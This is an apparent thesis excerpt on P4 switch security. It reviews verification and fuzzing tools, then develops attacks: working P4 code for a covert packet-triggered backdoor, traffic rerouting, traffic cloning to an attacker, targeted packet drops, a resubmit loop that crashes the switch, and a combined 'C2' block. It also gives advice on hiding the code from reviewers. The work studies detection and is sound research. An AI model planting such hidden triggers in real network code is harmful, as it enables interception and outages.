Understanding the state of the art provides a theoretical basis for the thesis, sup-
plying relevant information about security developments in the P4 landscape.
To provide a logical division of topics, four categories were considered: bug ex-
ploitation, static analysis (SAST), dynamic analysis (DAST), network monitoring.

2.5.1 P4 bug exploitation

Literature related to P4 bug exploitation is made of a mix of both practical and
theoretical work. Structurally speaking documents in this category include a
small theoretical explanation followed by a larger experimentation portion. In
this thesis, this information is used for:

• Understanding the exploits and if they can be exploited using different
methods;

• Leveraging the used methods to create new exploits;

• Developing a list of available vulnerabilities to help researchers in future
work.

[Agape et al., 2018] offers a "systematic breakdown and approach to study the
attack surface and security implications of emerging network architectures". This
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Figure 2.3: P4-INT modes of execution (based on [Joshi, 2021])
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breakdown is used to investigate P4’s attack surface. Several attacks are men-
tioned but man-in-the-middle and channel flooding stand out. Besides listing
attacks, countermeasures are also detailed.

[Kang et al., 2019] describes an investigation on "sensitivity attacks". This re-
search develops a system that produces an analysis of the behaviors of the source
code, predicting malicious traffic patterns. Using probabilistic symbolic execu-
tion, all paths possible paths are generated, alongside their probabilities of occur-
rence. Said probabilities are used to create skew attacks (attacks where packets
are crafted in such a way that their behavior is skewed), for which a working
example is shown.

[Dumitru et al., 2020] researches P4 bug exploitation regarding architecture-specific
undefined behaviors. Three different targets are tested: BMv2, P4-netFPGA, and
Barefoot’s Tofino (denote that each has a different, vendor-specific P4 implemen-
tation). According to the results from testing, the following vulnerabilities were
found:

• Reading invalid headers;

• Writing invalid headers

• Infinite loops (Using recirculation and cloning);

• Packet resurrection;

• Implicit forward behavior;

With this information, the authors validate their proposition that P4 behavior is
architecture dependent. Furthermore, the authors finish the paper by presenting
their own exploits, based on previous results.

[Black and Scott-Hayward, 2021] proposes P4 exploitation in an adversarial man-
ner. The first section is dedicated to discussing the P4 architecture from an ad-
versarial perspective. The core of this work is based on exploiting a side-loaded
library, which allows the interception of communications between the controller
and switch. Intercepting the communications makes the following attacks viable:

• Manipulating Table Entries;

• Changing the P4 Program;

The paper also describes a novel defense strategy, named ADPv, whose main idea
is to "exploit the programmability of the switches to implement a moving target
defense that frequently changes the expected behavior of DP switches".

2.5.2 Static application security testing (SAST)

SAST focuses on performing formal verification of a P4 program, mainly using
static code analysis. This type of analysis assumes full knowledge (white box)
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and attempts to discover vulnerabilities and errors without executing the pro-
gram. This method provides large coverage, is computationally less expensive
than others, and can be used pre-deployment. Its caveats include the limited
scope of action (static scope), time for completion, and a high amount of false
positives.

[Lopes et al., 2016] focuses of this paper is on verifying the well-formedness of
the P4 language, as well the verifying the compilation step. The aim of the in-
vestigation is to ensure the well-formedness of the process of serialization and
de-serialization packets consistent across multiple implementations from differ-
ent vendors. To achieve the proposed, P4 is converted to datalog and formally
verified using this language.

[Kheradmand and Rosu, 2018] develops a tool, P4K, in an effort to formalize the
language. Based on P414 and using the K framework (executable semantic frame-
work [Framework]) the authors are the first to introduce this technique for the P4
language. Formalizing a language allows for its symbolic execution, translation
validation (validating the behavior of a language after its architecture-specific
compilation), model checking, and cross-program validation.

[Liu et al., 2018] is another effort to formalize the language, now using Guarded
Command Language (GCL). Using this abstraction the authors look for potential
bugs in areas such as header validity, header stack bounds, arithmetic overflow,
and deparsing validity. Whilst easy to check manually, the authors believe cre-
ating automatic software can be very useful, especially when large programs are
employed. Their implementation includes 8 core steps:

• Parsing and type checking. Performs the conversion from P4 to GCL.

• Instrumentation. Introduces a "zombie state" into the code that keeps track
of information about execution.

• Inlining. "Uses a standard inlining algorithm to eliminate procedure calls
and generate a GCL command that captures the semantics of the original
P4 program."

• Annotation. Blends the control plane and data plane into the P4 program.

• Passivization. Converts the program into a "passive-form", to improve effi-
ciency.

• Optimizations. Applies optimizations such as constant propagation and
dead-code elimination.

• Verifying conditions. Using the Z3 SMT solver ([Moura and Bjørner, 2008]),
the compatibility of the passive and optimized programs is verified.

• Counter-example generation. If the verification fails, the program is recon-
verted back to a human-readable form for manual verification.

To finalize a scalability test is conducted, demonstrating the validity of the ap-
proach for real-world scenarios with regard to performance.
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[Stoenescu et al., 2018] once again aims to formalize the P4 language, in this case
usingSymbolic Execution Friendly Language (SEFL). Using SEFL a tool is created,
Vera, which can detect the following bugs in the code:

• Implicit drops;

• Table rules that match dropped packets;

• Invalid memory accesses;

• Header Errors;

• Scoping and unallowed writes;

• Out-of-bounds arrays accesses;

• Fields overflows and underflows;

[Kodeswaran et al., 2020] discusses tracking P4 path execution using the Ball-
Larus algorithm. The Ball-Larus algorithm can discover all possible execution
paths efficiently (using concurrent track execution for each sub-DAG), having
little overhead. With path knowledge, a programmer can more easily identify the
various steps in execution and backtrace the execution of packets for debugging
and correction purposes.

[Dumitrescu et al., 2020] proposes a tool, bf4, which combines static and dynamic
analysis. bf4 consists of the following stages:

1. Finding all the bugs supported by the tool, during compile time;

2. Using this information, controller annotations are inferred, avoiding controller-
induced bugs;

3. Assuming most bugs are unreachable (due to the addition of the annota-
tions), bf4 monitors runtime for the introduction of rules which do not re-
spect the previously set annotations.

With this methodology, problems such as an invalid header or out-of-bounds ar-
ray accesses can easily be detected. bf4 aims to be as automated as possible while
keeping a competitive performance (when compared to other similar-purpose
tools). A series of programs (including the large switch.p4 are tested, acknowl-
edging how bf4 successfully detects all intended bugs, furthermore fixing a per-
centage of the found bugs.

[Tian et al., 2021] produces a work similar to P4v ([Liu et al., 2018] and Vera ([Stoe-
nescu et al., 2018]), under the name of Aquila. According to its creators, Aquila is
an improvement to the mentioned frameworks, both in terms of speed and com-
plexity. This paper is highly focused on the testing aspect, having experiments
run in Alibaba’s very own data center. From the given experiments, several bugs
were detected:
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• Unexpected program behaviors;

• Incorrect Tables entries;

• Incorrect service-specific properties;

• Wrong call sequence of multi-pipeline.

[Cao et al., 2022] develops a tool, Firebolt, which is characterized as a "black box
testing tool designed to dig out faults in DP program generators". Firebolt fol-
lows many of the principles discussed in other papers regarding formal language
specification and language translation. In more practical terms, Firebolt uses the
Z3 theorem prover[Moura and Bjørner, 2008] using a python and C++ frame-
work. This tool focuses on 2 main efforts: security vulnerability checking and
intent violation. Within intent violation, an extensive list of bugs was found:

• Incorrect query combination;

• Missing/Incomplete table entries;

• Incorrect mask translation;

• Incorrect list comparer;

• Incorrect comparison operator;

• Missing table entries;

• Missing action parameters;

• Incorrect infinity valuation;

• Incorrect key storage.

2.5.3 Dynamic application security testing (DAST)

To complement the analysis of SAST frameworks, DAST frameworks are evalu-
ated. DAST’s goal is to test the runtime portion of the code, presenting a real-
world scenario analysis. DAST is, however, not perfect, some of its significant
problems include weaker coverage (some parts of code may not be reachable and
therefore, never tested), harder automatization, and slower pace (due to the need
for manual work).

[Freire et al., 2018] creates a tool, ASSERT-P4, which allows programmers to build
assertions into their code, later symbolically executing them. This tool tackles
two problems: code circumvention and control configuration. After annotating
the original program, ASSERT-P4 performs a conversion from P4 to C, which is
then executed by the symbolic engine.

[Shukla et al., 2019] create P4RL, a tool for automatically verifying switches at
runtime. This paper also contributes with a novelty language, p4q, which aims
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to "conveniently specify the intended properties, using simple conditional state-
ments". This work uses Machine Learning (ML) to consistently generate packets
that may cause bugs in the network. Testing the approach proves that P4RL gen-
erates better results than a random selection agent, verifying that P4RL can learn
patterns of buggy code.

[Shukla et al., 2020] presents P4-Consist, a system to detect inconsistencies be-
tween control and data planes in P4 SDNs. In short, this approach contains 4
key modules: (1) Input traffic generator; (2) Data plane module, (3) Control plane
module; (4) Analyzer. To check network consistency, this tool generates packets
that travel the data plane, gather metadata, and finally return to their origin. Af-
ter returning, these packets are compared to the expected flow graph, provided
by the control plane, resulting in a "real vs expected" comparison. Only if the net-
work is consistent between the control plane and the data plane the comparison
is true. The paper ends by empirically validating the approach.

[Ruffy et al., 2020] proposes a tool, Gauntlet, which tests the runtime behavior of
different P4 architectures. This tool focuses on finding 2 types of bugs: (1) Crash
bugs; (2) Semantics bugs. Two types of testing are employed: (1) Differential test-
ing (same program, 2 different compilers); (2) Metamorphic testing (same com-
piler, 2 similar programs). Using these methods, if the output is different, there is
a guarantee that at least one of the compilers performs an incorrect behavior. Us-
ing Gauntlet, the authors found 96 distinct bugs across the P4c framework, which
were distributed in the following categories:

• Ripple effects;

• Crashes in the type checker

• Handling side effects;

• Unstable code;

• Consequences of compiler changes;

• Specification changes;

• Invalid transformations.

[Agape et al., 2021] provides a P4Fuzz, a fuzzy logic P4 test-case generator and
program tester. P4 fuzz is described by the authors as "a tool that generates syn-
tactically and semantically valid P4 programs that stress the compilers in order
to find bugs in their implementation". Built to compile to several architectures,
P4Fuzz consists of 2 core mechanisms: (1) Test case generator; (2) Test case tester.
The generator creates a program (architecture-specific), to which the tester veri-
fies its compatibility. After guaranteeing that the program can run, using [Nöt-
zli et al., 2018] packets are automatically generated and injected into the created
program, searching for possible bugs. Finally using machine learning, all the col-
lected bugs are grouped according to their type. The approach is formally tested,
resulting in the discovery of several bugs in all stages of P4, especially in the back
end.
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[Shukla et al., 2021] produces a P6, a tool to detect, localize, and patch software
bugs in P4 programs. P6 utility contains three main modules: (1) The Fuzzer (gen-
erates test packets); (2) Localizer (pinpoints the faulty lines of code); (3) Patcher
(automates the patching of bugs). As a novelty improvement, P6 uses machine
learning to improve code correction (Multilayer Perceptron (MLPC)). This tool
correctly identifies the following bugs:

• Accepted wrong checksum;

• Generated wrong checksum;

• Incorrect IP version;

• IP IHL value out of bound;

• IP TotalLen value is too small;

• TTL 0 or 1 is accepted (PI) TTL not decremented;

• Clone not dropped;

• Resubmitted packet not dropped;

• Multicast packet not dropped.

2.5.4 Network monitorization

Network monitoring elicits the state-of-the-art for relevant information regarding
network monitoring solutions for P4. In particular, this section focuses on INT as
a tool for network visibility.

[Joshi, 2021] describes the implementation of INT) in a P4 network. Initially, INT
is described from a theoretical standpoint, exposing the characteristics of the tech-
nology including modes of operation, packet structure, and architectural design.
The latter part of the thesis tests the approach of a testbed composed of Tofino
switches, comparing the different modes of operation.

2.5.5 Other

[Nötzli et al., 2018] is an open-source tool for generating test scenarios. Using
well-established symbolic analysis techniques, this tool is able to automatically
generate test cases for packets, table entries, and expected paths. By comparing
differences between the execution of the same program in two different compiler
implementations, one can ensure that at least of the implementations is faulty.

[Dumitrescu et al., 2019] creates a tool, netdiff, which goal is to "use symbolic ex-
ecution to check the equivalence of two network data planes modeled in SEFL.
Using this tool programmers can more easily debug their programs and prevent
bugs from entering the network". According to the authors, equivalence can
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roughly be described as "for any packet that is injected to any two programs,
their output is the same". This piece of work served as the basis for many papers
that used symbolic engines.

2.5.6 Final Notes

Programming Protocol-independent Packet Processors (P4) has already been the
subject of several quality works regarding its security of data and control planes.
From the presented studies, a comprehensive panorama of the P4 security land-
scape can be extracted. The chapter ends by providing a table (2.2 containing a
summary of the related work, highlighting the available contributions provided
in the literature.
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Chapter 3

Attack Development

Armed with the knowledge gathered in the previous chapters, an attack frame-
work is presented here.

Section 3.2 describes the testbed developed for testing. It defines, structuring,
reasoning and implementation.

Section 3.3 presents the reader with the developed exploits. In this section 3 at-
tacks are considered: traffic re-routing (3.3.4), traffic cloning (3.3.5) and Denial of
Service (DoS) (3.3.6). These attacks were selected based on the knowledge about
the programming language and architecture, as well as the selected attack target
(switch functionality, refer to 2.5.1 for further detail).

Section 3.4 evaluated if the exploits developed can be caught using the tool de-
scribed in the state of the art.

3.1 Attacker Model

To describe an accurate and realistic exploitation scenario, it is necessary to un-
derstand the capabilities of the attacker. Since the conducted work builds upon
the research developed in [Black and Scott-Hayward, 2021], the attacker model
follows is the same. According to [Black and Scott-Hayward, 2021], the attacker
model "assumes that the attacker is able to intercept and edit data to/from the
controller. In particular, we assume that the attacker can inject their code before
calls to the switch SDK or drivers, allowing them to edit the arguments passed to
the SDK or driver functions."[Black and Scott-Hayward, 2021].

In specific, the attack "Changing P4 Program - Controller initiated" is used. As-
suming this attack is used, the program can be swapped without triggering any
errors. Furthermore, since the P4RT server stores a copy of the P4Info File (which
indicates the data structures present in the data plane) locally, the controller can-
not detect new tables inserted in the code. To ensure that no errors are triggered,
and also that the code maintains its original functionality, the attacker should add
the exploit in such way that it does not affect original functionality (ensuring all
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Figure 3.1: Remote trigger activation

control plane calls work correctly). The downside of this method is that it requires
the controller to initiate the P4 program change.

Attack Formulation: If the attacker is able to create an exploit within the P4 file,
using [Black and Scott-Hayward, 2021] injection tool, he can inject the attack into
the switch. Furthermore, using the controller-initiated program change, no logs
are triggered. In an optimal scenario, the attack can be remotely triggered, and
that does not use the control plane, as the less the moving part (in this case, table
entries) the less detectable the attack becomes.

3.2 Testing environment

A virtualized scenario was used to test implementation. Such a tool significantly
reduces the time and hassle of implementation, which is vital for researching
undeveloped and unimplemented technologies.

3.3 Exploit Development

3.3.1 Remote trigger

A remote trigger is a piece of code allowing the execution of another piece of
code. In the context of this thesis P4 exploitation, a remote trigger allows for the
exploit to be used at will. Image 3.1 visually explains how the trigger works.

For the trigger to work, it must persist beyond the processing of any singular
packet. For this reason, the register data structure is used. As mentioned in 2.3.6,
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the register is a stateful storage type. Other such as counters or meters can also
be used, but since the register is more common, it also contributes to the stealth
factor (many uses of the register are documented in [He et al., 2019]) Listing 3.1
demonstrates a rudimentary switch implemented in P4.

Lines 1 and 2 define the data structures used throughout the code. Next, set_control
and unset_control modify the value of the myReg variable. Lines 29 to 40 define
the main body of ingress control. Lines 30 to 32 ensure myReg has a default value
and finally line 34 triggers the table which sets or unsets the remote trigger.

The control_t table takes the following parameters as key: source IP, IP identifica-
tion field, and the current value of myReg. Source IP and IPv4 Id ensure only the
packets crafted by the attacker match the table entries, the temp variable is used
as a reference (required to flip the variable’s value). For the key, other combina-
tions of fields can also be used, this is especially relevant since some fields may
be overwritten by the switch, such as IP or MAC in Network Address Translation
(NAT) operations.

Listing 3.1 is verbose-heavy, using a table, multiple control plane entries, and
actions. Despite being more flexible it is also easier to be detected. Listing 3.2
limits the number of resources achieving the same goal.

Listing 3.2 trades the ability to use IP ranges, by foregoing the use of tables. Line
8 once again ensures that only the desired packets trigger the mechanism. Lines
9 to 13 verify the current state of the myReg variable and change to the opposite.

One major improvement to the listing 3.2 is the creation of a control block to put
the malicious code. In itself, the control block does not add any stealth properties
to the code. Its main benefit is to remove the code from the main control block,
reducing human detection.

In the example above (listing3.3), it is still easy to detect the addition of code.
If this code was inserted inside a more realistic program such as switch.p4 (a
production-grade switch p4 program), using a harder-to-detect naming scheme
detection would not be trivial.

switch.p4, was originally created for P414 and was later ported to P416. A ported
implementation https://github.com/jafingerhut/p4lang-tests/blob/master/
v1.0.3/switch-2017-03-07/out1/switch-translated-to-p4-16.p4. It contains
over 80 tables and 100 actions, totaling over 5000 lines of code. This is not to say
that a trained professional keenly looking at the code would not be able to detect
a change such as explained in ??, but chances are greatly reduced if those changes
are spread out, and represent less than a 5% change on the original codebase. Sec-
tion 3.4 researches the feasibility of automatically testing the codebase.

3.3.2 Network Scenario

A triangle topology was used, using 3 switches and 3 hosts, as per figure 3.2.
Switch 2, uses an altered version of a p4 program (that contains the exploit), ex-
ploit.p4, while the remainder runs a basic forwarding program basic.p4.
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1 register <bit <32 > >(128) myReg;
2 bit <32> temp;
3 (...)
4 action set_control (){
5 myReg.write((bit <32>)REG_IDX , (bit <32>) REG_VAL);
6 }
7

8 action unset_control (){
9 myReg.write((bit <32>)REG_IDX , (bit <32>) REG_VAL_OTHER);

10 }
11 (...)
12

13 table control_t {
14 key = {
15 hdr.ipv4.srcAddr: lpm;
16 hdr.ipv4.identification: exact;
17 temp: exact;
18 }
19 actions = {
20 NoAction;
21 set_control;
22 unset_control;
23 }
24 size = 1024;
25 default_action = NoAction ();
26 }
27

28 (...)
29 if (hdr.ipv4.isValid () && hdr.ipv4.ttl > 0) {
30 myReg.read(temp , (bit <32>) REG_IDX); // Reads the control

variable
31 if (temp != REG_VAL && temp != REG_VAL_OTHER)
32 myReg.write((bit <32>) REG_IDX , REG_VAL_OTHER); //Set

Default Value for the register
33

34 control_t.apply ();
35 ipv4_lpm.apply(); // Persforms regular Forwarding
36

37 myReg.read(temp , (bit <32>) REG_IDX); // Reads the control
variable

38 if(temp == REG_VAL)
39 <malevolent_action >. apply ();
40 }

Listing 3.1: Rudimentary remote activation switch
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1 const bit <32> REG_IDX = 0x1;
2 const bit <32> REG_VAL = 0xFFFFFFFF;
3 const bit <32> REG_VAL_OTHER = 0xFAAAAAAA;
4 (...)
5 register <bit <32 > >(128) myReg;
6 bit <32> temp;
7 (...)
8 if (hdr.ipv4.srcAddr == 0x0a000303 && hdr.ipv4.identification ==

1337){
9 myReg.read(temp , (bit <32>) REG_IDX); // Reads the control

variable
10 if(temp == REG_VAL)
11 myReg.write((bit <32>) REG_IDX , REG_VAL_OTHER); //Set Default

Value for the register
12 else
13 myReg.write((bit <32>)REG_IDX , (bit <32>) REG_VAL);
14 }

Listing 3.2: Upgraded remote activation switch

Figure 3.2: Network scenario used for the exploits
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1 control Exploit(inout headers hdr , inout metadata meta , inout
standard_metadata_t standard_metadata){

2 register <bit <32 > >(128) myReg;
3 bit <32> temp;
4

5 table recirc_t {
6 key = {
7 hdr.ipv4.srcAddr: lpm;
8 }
9 actions = {

10 NoAction;
11 recirc_packet;
12 }
13 size = 1024;
14 default_action = recirc_packet ();
15 }
16 apply {
17 if (hdr.ipv4.srcAddr == 0x0a000303 && hdr.ipv4.identification

== 1337){
18 myReg.read(temp , (bit <32>) REG_IDX);
19 if(temp == REG_VAL)
20 myReg.write((bit <32>) REG_IDX , REG_VAL_OTHER);
21 else
22 myReg.write((bit <32>)REG_IDX , (bit <32>) REG_VAL);
23 }
24 }
25

26 }
27 (...)
28 control MyIngress(inout headers hdr ,
29 inout metadata meta ,
30 inout standard_metadata_t standard_metadata) {
31 @name(".Program")Exploit () exploit_0;
32 (...)
33 apply {
34 if (hdr.ipv4.isValid () && hdr.ipv4.ttl > 0) {
35 exploit_0.apply(hdr , meta , standard_metadata);
36 ipv4_lpm.apply();
37 }
38 }

Listing 3.3: Removing the control block
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1 control Deviate(inout headers hdr , inout metadata meta , inout
standard_metadata_t standard_metadata){

2 bit <32> regVal;
3 apply{
4 myReg.read(regVal , (bit <32>) REG_IDX); // Reads the control

variable
5 if(hdr.ipv4.dstAddr == 0x0a000101 && regVal == REG_VAL){
6 standard_metadata.egress_spec = 0x3;
7 hdr.ethernet.dstAddr = 0x080000000300;
8 hdr.ipv4.dstAddr = 0x0a000303;
9 }

10 }
11 }

Listing 3.4: Reroute control Block

3.3.3 Exploit Introduction

Using the attacker model as defined in 3.3.1, the following attacks are possible:

• Traffic re-routing, any traffic that enters the switch can be re-routed to an-
other host;

• Man-in-the-Middle (MiTM), using special egress actions (recall section 2.3.12),
traffic is cloned, being received by both the attacker and the original re-
ceiver.

• Denial of Service (DoS), severing the connection between switches and
hosts is disrupting the service;

3.3.4 Traffic re-routing

Traffic re-routing changes the receiver of the traffic, normally a non-intended des-
tination degrading communication and potentially stealing user data. Image 3.3
visually explains the exploit.

Implementation

To execute this exploit, assuming the usage of the remote trigger mentioned in
3.3.1, the code should be placed at the end of the pipeline, such that it overwrites
regular forwarding behavior. According to the previously defined objectives, no
extra tables are used. Listing 3.4 shows a control block that changes data whose
destination is 10.0.2.2 to 10.0.3.3.

Using this block, only 4 lines of code are added to the main ingress block, reduc-
ing detection chances.
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Figure 3.3: Exploit 1 step-by-step
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1 control MyIngress(inout headers hdr ,
2 inout metadata meta ,
3 inout standard_metadata_t standard_metadata) {
4

5 @name(".Trigger")Trigger () trigger_0;
6 @name(".Deviate")Deviate () deviate_0;
7

8 action drop() {
9 mark_to_drop(standard_metadata);

10 }
11

12 action ipv4_forward(macAddr_t dstAddr , egressSpec_t port) {
13 standard_metadata.egress_spec = port;
14 hdr.ethernet.srcAddr = hdr.ethernet.dstAddr;
15 hdr.ethernet.dstAddr = dstAddr;
16 hdr.ipv4.ttl = hdr.ipv4.ttl - 1;
17 }
18

19 table ipv4_lpm {
20 key = {
21 hdr.ipv4.dstAddr: lpm;
22 }
23 actions = {
24 ipv4_forward;
25 drop;
26 NoAction;
27 }
28 size = 1024;
29 default_action = drop();
30 }
31

32 apply {
33 if (hdr.ipv4.isValid () && hdr.ipv4.ttl > 0 ) {
34 trigger_0.apply(hdr , meta , standard_metadata); // Sets

or unsets control.
35 ipv4_lpm.apply(); // Performs regular forwarding
36 deviate_0.apply(hdr , meta , standard_metadata);
37 }
38 }
39 }

Listing 3.5: Main control Block
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3.3.5 Man in the Middle (MiTM)

MiTM extends the concept of re-routing, cloning the traffic to the attacking host
whilst keeping regular traffic flowing. This technique does not raise any alarm to
the end user, as traffic arrives normally. Image 3.4 visually explains the exploit.

From an architectural standpoint, figure 3.5 shows how packets are cloned in-
ternally by switch 2. The green arrow represents, "regular" traffic while the red
arrow represents cloned traffic.

Implementation

The implementation uses the same underlying principle of section 2.3.12. Archi-
tecturally speaking, two types of clones are available in P4:I2E (ingress-to-egress)
and E2E (egress-to-egress). Their difference resides in their timing of instantiation
(ingress or egress), nevertheless, both are spawned and processed in the egress
pipeline.

Three parts make this exploit: The remote switch, as described in section 3.3.1;
The Clone instantiation block; The clone deviation block. Noticeably, the de-
viation block must be placed in the egress pipeline. Programatically speaking,
clones are detected using system variable standard_metadata.instance_type, where
it is defined as the type of packet (for the BMv2 architecture the values are listed
in listing 2.9).

Listing 3.6 presents an implementation for the cloning block. The clone operation
(line 8) is instantiated using the method clone_preserving_field_list(). It takes, as a
parameter, the type of clone, the id of the clone, and fields to preserve. Before
cloning a packet, 2 conditions are asserted: if the remote trigger is toggled and if
the packet is not coming from the attacker (avoiding repeating data).

1 control Clone(inout headers hdr , inout metadata meta , inout
standard_metadata_t standard_metadata){

2 const bit <32> CLONE_ID = 500;
3 bit <32> regVal;
4

5 apply{
6 myReg.read(regVal , (bit <32>) REG_IDX); // Reads the control

variable
7 if(hdr.ipv4.srcAddr != 0x0a000303 && regVal == REG_VAL)
8 clone_preserving_field_list(CloneType.I2E , CLONE_ID ,0);
9 }

10 }

Listing 3.6: Clone creation block

Listing 3.7 demonstrates the clone deviation block. This block is similar to the
deviation block described in 3.4 with the added caveat that it first checks if the
packet is a clone, only deviating such packets (line 6).

Finally, in the egress pipeline, the clone deviation block is first imported (line 5)
and applied (line 7).
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Figure 3.4: Exploit 2 step-by-step
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Figure 3.5: Regular and cloned traffic flow chart

1 control Deviate_clone(inout headers hdr , inout metadata meta , inout
standard_metadata_t standard_metadata){

2 bit <32> regVal;
3 const bit <32> BMV2_V1MODEL_INSTANCE_TYPE_INGRESS_CLONE = 1;
4 apply{
5 myReg.read(regVal , (bit <32>) REG_IDX); // Reads the control

variable
6 if(hdr.ipv4.dstAddr == 0x0a000101 && standard_metadata.

instance_type == BMV2_V1MODEL_INSTANCE_TYPE_INGRESS_CLONE &&
regVal == REG_VAL){

7 standard_metadata.egress_spec = 0x3;
8 hdr.ethernet.dstAddr = 0x080000000300;
9 hdr.ipv4.dstAddr = 0x0a000303;

10 }
11 }
12 }

Listing 3.7: Clone deviation block

1 control MyEgress(inout headers hdr ,
2 inout metadata meta ,
3 inout standard_metadata_t standard_metadata) {
4

5 @name(".deviate_clone")Deviate_clone () deviate_clone_0;
6 apply {
7 deviate_clone_0.apply(hdr , meta , standard_metadata);
8 //Other operations
9 }

10 }

Listing 3.8: Control Plane entry for clone_t table
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3.3.6 Denial of Service

DoS consists in making machine(s) or resource(s) unavailable. There are several
methods to conduct DoS be it on the switch or the end user. DoS attacks have a
long history in networking and more advanced networks are usually equipped
to deal with such problems. This attack may still be effective if several pieces of
equipment in a network are affected since it can be remotely triggered at the same
time.

Figure 3.6 shows two attack scenarios. Both start with steps 1 and 2, which rep-
resent a regular network with an infected switch and the control server sending
a control message to said switch, respectively. Step 3a describes an attack where
DoS only happens for a particular host and step 3b describes an attack where
the switch just stops responding to any communications (and requires a manual
restart).

Figure 3.7 explains the traffic flow inside the switch for both depicted switches.
"A" shows how resubmission creates an outer loop, while "B" shows how packets
are dropped.

Implementation

DoSing a specific host

It is very simple to create a DoS attack on a specific host. It can be achieved by us-
ing the same code base as in the deviation attack (section 3.3.4) but replacing the
forwarding action with a drop action. In P4, to drop a packet the mark_to_drop()
action is used. This action should be put at the end of the processing pipeline, to
avoid a bug (mentioned in [Dumitru et al., 2020]) where a packet is resurrected.

Codewise, listing 3.9 presents control that can turn off communications to a host.
1 control Drop(inout headers hdr , inout metadata meta , inout

standard_metadata_t standard_metadata){
2 bit <32> regVal;
3 apply{
4 myReg.read(regVal , (bit <32>) REG_IDX);
5 if(regVal == REG_VAL && hdr.ipv4.dstAddr == 0x0a000101){ \\

Ensure the remote trigger is on
6 mark_to_drop(standard_metadata);
7 }
8 }
9 }

Listing 3.9: Drop control block

DoSing the switch

The goal of this implementation is to make the switch unavailable (and therefore
all its connections). In this particular case, this is achieved by resource exhaustion.
This is done by applying the resubmit method to packets after they have been
processed, immediately sending them back to the entry port of the same switch.
This creates an outer loop (because packets from Egress-to-Ingress are technically
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Figure 3.6: Visual Explanation of Exploit 2
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Figure 3.7: Inner workings of switch 2
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out of the switch), increasing the CPU usage of the switch to 100%, limiting the
acceptance of other packets.

P4 is a linear language, meaning no loops are inside the code. While this propo-
sition is true, using the resubmission primitive (as mentioned in section 2.3.12)
an outer loop is created. The loop occurs because the packet leaves the switch,
with its destination being the same switch’s ingress port, as per figure 3.5. This
technique crashes the switch, making it not able to receive any communication
before a hard reset.

Using the aforementioned control strategy, a loop can be started on command by
having the ingress control block as listed in 3.10. As a note, the attacker must
make sure the trigger message is not recirculated, else, the loop stops itself every
iteration (and therefore, the additional verification in line 5).

1 control Resubmit(inout headers hdr , inout metadata meta , inout
standard_metadata_t standard_metadata){

2 bit <32> temp;
3 apply {
4 myReg.read(temp , (bit <32>) REG_IDX); // Reads control variable
5 if(temp == REG_VAL && hdr.ipv4.srcAddr != 0x0a000303) //

Starts recirculation loop
6 resubmit_preserving_field_list (0);
7 }
8 }

Listing 3.10: Resubmit control Block

3.3.7 Combining all the attacks

Throughout this chapter, several techniques have been used to exploit P4’s code.
Noticeably, all use the same basic remote activation technique, using a trigger as
described in section 3.3.1.

As such, it is possible to combine multiple techniques in a single code block, giv-
ing flexibility to the attacker while also making the attack harder to diagnose.
To combine various techniques inside the P4 code, the remote trigger is changed
from a binary variable but to a numeric identifier. Before, 0 would represent no
attack, whereas 1 would indicate the code to activate. Now, 1 performs the devi-
ation attack, 2 the cloning attack, and 3 for the DoS attack. Listing 3.11 shows
an updated version of the code where the control block can execute multiple
exploits. The key difference is that the comparison performed by register now
changes variables according to the attack executed (0xA, 0xB,0xC, 0xD).

1 control C2(inout headers hdr , inout metadata meta , inout
standard_metadata_t standard_metadata){

2 bit <32> regVal;
3 apply{
4 myReg.read(regVal , (bit <32>) REG_IDX);
5 if(regVal == 0xB && hdr.ipv4.dstAddr == 0x0a000101){ //Drop

Packet
6 mark_to_drop(standard_metadata);
7 }
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8 if(regVal == 0xC && hdr.ipv4.dstAddr == 0x0a000101){
9 standard_metadata.egress_spec = 0x3;

10 hdr.ethernet.dstAddr = 0x080000000300;
11 hdr.ipv4.dstAddr = 0x0a000303;
12 }
13 if(regVal == 0xD && hdr.ipv4.srcAddr != 0x0a000303)
14 clone_preserving_field_list(CloneType.I2E , CLONE_ID ,0);
15

16 if(regVal == 0xE && hdr.ipv4.srcAddr != 0x0a000303) { //
Starts recirculation loop

17 resubmit_preserving_field_list (0);
18 }
19 }

Listing 3.11: Control Block for multiple attacks

3.4 Evaluation

This section is dedicated to the study of the available tools and frameworks that
provide defense against the attacks described previously.

3.4.1 Tools

According to the research conducted in section 2.5, several tools can be used to
detect bugs on P4-enabled switches: P4K, P4V, Vera, Aquila, Firebolt, P4RL, P4-
Consist, Gauntlet, P4Fuzz, P6, and BF4; Unfortunately, most of them are either
closed-source, only support old syntax-unsupported versions or are outright,
not available. To better test the developed exploits, the authors of the above-
mentioned frameworks have been contacted but no response was retrieved suc-
cessfully. Table 3.1 summarizes the availability of security-related P4 contribu-
tions.

Tool Name Contribution
P4K https://github.com/kframework/p4-semantics
P4V No response from author
Vera No response from author
Aquila No response from author
Firebolt No response from author
Assert-P4 https://github.com/LucasMFreire/assert-p4
P4ML https://gitlab.inet.tu-berlin.de/apoorv/P4ML1

P4-Consist https://gitlab.inet.tu-berlin.de/apoorv/P4CONSIST2

Gauntlet https://p4gauntlet.github.io/
P4-Fuzz Could not find author information
P6 https://gitlab.inet.tu-berlin.de/apoorv/P63

Table 3.1: P4 Security tools and their availability
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Of the listed above, Gauntlet and BF4 have been successfully installed and used
for testing.

3.4.2 Gauntlet

Per the official P4 repository[Ruffy et al., 2020], "Gauntlet is a set of tools designed
to find bugs in programmable data-plane compilers. More precisely, Gauntlet
targets the P4 language ecosystem and the P4-16 reference compiler (p4c). The
goal is to ensure that a P4 compiler correctly translates a given input P4 program
to its target-specific binary.", meaning that the tool does not target contexts where
the code may contain rogue behavior. Furthermore, it does not provide an easy
way for an analyst to list all system behaviors as the tool merely ensures that
translation between the P4 code and binary-specific architecture is successful.

3.4.3 BF4

BF4 is "an analysis backend for P4. It translates P4 code (for the moment V1Model)
into a Context Free Grammar (CFG), performs optimization passes, and then con-
verts it into a verification condition which is checked using Z3". It performs a
combination of SAST + DAST, but it is not properly directed at security valida-
tion and optimization.

3.4.4 Static Evaluation

Evaluation using BF4

There is no standardized method to accurately compare both approaches regard-
ing their security evaluation capabilities. Therefore, to evaluate both tools, the
output is analyzed manually. This is a disadvantage since manual evaluation
usually takes longer than automated evaluation, yet if the evaluation proves to
be accurate, automation should be the next developing step.

Analysis with Bf4 is done by running the command p4c-analysis. Analyzing the
output for the first exploit(listing 3.5) file yields the result present in 3.12.

1 starting frontend
2 /usr/local/share/p4c/p4include/v1model.p4(31): [--Wwarn=unknown]

warning: Unknown annotation: metadata
